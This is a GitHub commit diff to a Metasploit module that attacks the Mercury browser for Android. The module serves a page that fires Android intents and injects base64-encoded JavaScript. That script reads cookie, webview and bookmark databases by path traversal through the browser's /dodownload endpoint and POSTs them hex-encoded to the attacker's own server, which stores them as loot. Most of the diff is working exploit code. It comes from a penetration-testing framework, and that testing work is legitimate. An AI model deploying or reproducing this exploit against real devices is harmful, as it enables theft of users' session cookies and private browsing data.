Skip to content

Commit 0d94b8a

Browse files
joevennixwchen-r7
authored andcommitted
Make andorid_mercury_parseuri better
1 parent b4aab70 commit 0d94b8a

File tree

1 file changed

+72
-46
lines changed

1 file changed

+72
-46
lines changed

modules/auxiliary/server/android_mercury_parseuri.rb

Lines changed: 72 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
class Metasploit3 < Msf::Auxiliary
99

1010
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Auxiliary::Report
1112

1213
def initialize(info = {})
1314
super(update_info(info,
@@ -22,56 +23,18 @@ def initialize(info = {})
2223
'Author' =>
2324
[
2425
'rotlogix', # Vuln discovery, PoC, etc
25-
'sinn3r'
26+
'sinn3r',
27+
'joev'
2628
],
2729
'License' => MSF_LICENSE,
2830
'References' =>
2931
[
30-
[ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ]
32+
[ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ],
33+
[ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]
3134
]
3235
))
33-
end
34-
35-
def send_http_request(rhost, opts={})
36-
res = nil
37-
cli = Rex::Proto::Http::Client.new(rhost, 8888)
38-
39-
begin
40-
cli.connect
41-
req = cli.request_cgi(opts)
42-
res = cli.send_recv(req)
43-
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError,
44-
OpenSSL::SSL::SSLError, ::Timeout::Error => e
45-
return nil
46-
ensure
47-
cli.close
48-
end
4936

50-
res
51-
end
52-
53-
def get_xml_files(rhost)
54-
base_dir = '../../../../data/data/com.ilegendsoft.mercury'
55-
56-
['/mercury_database.db', '/shared_prefs/passcode.xml'].each do |item|
57-
opts = {
58-
'method' => 'GET',
59-
'uri' => '/dodownload',
60-
'vars_get' => {
61-
'fname' => "#{base_dir}#{item}"
62-
},
63-
'headers' => {
64-
'Referer' => "http://#{rhost}:8888/storage/emulated/0/Download/"
65-
}
66-
}
6737

68-
print_status("Retrieving #{item}")
69-
res = send_http_request(rhost, opts)
70-
next unless res
71-
print_status("Server response: #{res.code}")
72-
p = store_loot('android.mercury.file', 'application/octet-stream', rhost, res.body)
73-
print_good("#{item} saved as: #{p}")
74-
end
7538
end
7639

7740
def is_android?(user_agent)
@@ -87,12 +50,62 @@ def get_html
8750
<body>
8851
<script>
8952
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
53+
setTimeout(function() {
54+
location.href="intent:#Intent;S.load=javascript:eval(atob('#{Rex::Text.encode_base64(uxss)}'));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
55+
}, 500);
9056
</script>
9157
</body>
9258
</html>
9359
|
9460
end
9561

62+
def backend_url
63+
proto = (datastore['SSL'] ? 'https' : 'http')
64+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
65+
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
66+
resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
67+
68+
"#{proto}://#{my_host}#{port_str}#{resource}/catch"
69+
end
70+
71+
def uxss
72+
%Q|
73+
function exploit() {
74+
history.replaceState({},{},'/storage/emulated/0/Download/');
75+
var urls = #{JSON.generate(file_urls)};
76+
urls.forEach(function(url) {
77+
var x = new XMLHttpRequest();
78+
x.open('GET', '/dodownload?fname=../../../..'+url);
79+
x.responseType = 'arraybuffer';
80+
x.send();
81+
x.onload = function(){
82+
var buff = new Uint8Array(x.response);
83+
var hex = Array.prototype.map.call(buff, function(d) {
84+
var c = d.toString(16);
85+
return (c.length < 2) ? 0+c : c;
86+
}).join('');
87+
var send = new XMLHttpRequest();
88+
send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,'')));
89+
send.setRequestHeader('Content-type', 'text/plain');
90+
send.send(hex);
91+
};
92+
});
93+
}
94+
95+
var q = window.open('http://localhost:8888/','x');
96+
q.onload = function(){ q.eval('('+exploit.toString()+')()'); };
97+
|
98+
end
99+
100+
def file_urls
101+
[
102+
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db',
103+
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db',
104+
'/data/data/com.ilegendsoft.mercury/databases/webview.db',
105+
'/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
106+
]
107+
end
108+
96109
def on_request_uri(cli, req)
97110
print_status("Requesting: #{req.uri}")
98111

@@ -102,17 +115,30 @@ def on_request_uri(cli, req)
102115
return
103116
end
104117

118+
if req.method =~ /post/i
119+
if req.body
120+
filename = File.basename(req.uri) || 'file'
121+
output = store_loot(
122+
filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file'
123+
)
124+
print_good("Stored #{req.body.bytes.length} bytes to #{output}")
125+
end
126+
127+
return
128+
end
129+
105130
print_status('Sending HTML...')
106131
html = get_html
107132
send_response_html(cli, html)
133+
end
108134

109-
print_status("Attempting to connect to: http://#{cli.peerhost}:8888/")
110-
sleep(2)
111-
get_xml_files(cli.peerhost)
135+
def hex2bin(hex)
136+
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
112137
end
113138

139+
114140
def run
115141
exploit
116142
end
117143

118-
end
144+
end

0 commit comments

Comments
 (0)